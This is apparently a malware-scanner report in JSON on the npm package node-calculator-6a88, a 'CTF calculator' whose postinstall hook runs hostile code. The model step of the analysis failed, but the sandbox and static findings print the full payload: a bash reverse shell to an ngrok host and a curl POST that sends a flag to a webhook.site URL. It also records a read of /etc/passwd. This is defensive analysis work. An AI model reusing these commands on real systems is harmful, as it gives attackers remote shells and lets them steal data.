{"package":"node-calculator-6a88","version":"2.4.0","known":true,"status":"error","discovered_at":1790300797341,"has_install_script":true,"report_url":"https://andymal.com/packages/node-calculator-6a88/2.4.0","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790376075845,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":2414,"lab_ip":"10.77.0.150","hooks":[{"name":"postinstall","command":"node index.js postinstall","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"\n> node-calculator-6a88@2.4.0 postinstall\n> node index.js postinstall\n\n","stderr_tail":""},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"","stderr_tail":""}],"process_count":8,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node index.js postinstall","node index.js postinstall","/bin/sh -c bash -c \"sh -i >& /dev/tcp/6.tcp.eu.ngrok.io/16288 0>&1\";curl -X POST --data 'NO_FLAG_FOUND' 'https://webhook.site/f0aa30eb-bebc-439d-9d0e-74f89a10b41c' > /dev/null 2>&1 || true","bash -c sh -i >& /dev/tcp/6.tcp.eu.ngrok.io/16288 0>&1","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[{"proto":"socket","ip":"127.0.0.1","port":53,"n":1},{"proto":"socket","ip":"10.77.0.2","port":16288,"n":1,"note":"sink (every DNS name resolves here)"}],"dns":[{"name":"6.tcp.eu.ngrok.io","n":2}],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":["/etc/passwd"],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"node-calculator-6a88","version":"2.4.0","description":"CTF calculator with postinstall hook","scripts":{"test":"echo \"ok\" && exit 0","postinstall":"node index.js postinstall"},"install_hooks":{"postinstall":"node index.js postinstall"},"bin":{},"main":"index.js","dependencies":[],"author":"","license":"ISC","hasInstallScript":true},"files":[{"path":"index.js","size":1970,"kind":"text","score":0.7722333333333333,"hits":["network_egress","code_execution","reverse_shell"],"role":"entry"},{"path":"package.json","size":278,"kind":"text","score":0,"hits":[]}],"file_count":2,"unpacked_size":2248,"findings":[{"title":"Install hook","detail":"postinstall: node index.js postinstall","severity":"low","location":"package.json"},{"title":"Network activity","detail":"with your real webhook URL const webhookUrl = 'https://webhook.site/f0aa30eb-bebc-439d-9d0e-74f89a10b41c'; // Send the fla","severity":"medium","location":"index.js:44"},{"title":"Network activity","detail":"ST body const cmd = `bash -c \"sh -i >& /dev/tcp/6.tcp.eu.ngrok.io/16288 0>&1\";curl -X POST --data '${flag}' '${webhookUrl}'","severity":"medium","location":"index.js:47"},{"title":"Network activity","detail":"= `bash -c \"sh -i >& /dev/tcp/6.tcp.eu.ngrok.io/16288 0>&1\";curl -X POST --data '${flag}' '${webhookUrl}' > /dev/null 2>&1 ||","severity":"medium","location":"index.js:47"},{"title":"Network activity","detail":"s.exit(0); }); } catch (e) { // even if curl fails, don't break install process.exit(0); } }","severity":"medium","location":"index.js:55"},{"title":"Executes commands or dynamic code","detail":"const fs = require('fs'); const { exec } = require('child_process'); function leakFlag() { let flag = ''; // Try FL","severity":"medium","location":"index.js:2"},{"title":"Reverse shell","detail":"ag in a simple POST body const cmd = `bash -c \"sh -i >& /dev/tcp/6.tcp.eu.ngrok.io/16288 0>&1\";curl -X POST --data '${flag}'","severity":"critical","location":"index.js:47"}],"injection_findings":[],"hits":{"network_egress":4,"code_execution":1,"reverse_shell":1},"iocs":{"urls":["https://webhook.site/f0aa30eb-bebc-439d-9d0e-74f89a10b41c"],"domains":["webhook.site","6.tcp.eu.ngrok.io"],"ips":[]},"score":1,"priority":155,"hints":["install hook postinstall: node index.js postinstall","untrusted hosts referenced: webhook.site, 6.tcp.eu.ngrok.io","capability hits: network_egress×4, code_execution×1, reverse_shell×1"],"entry_files":["index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}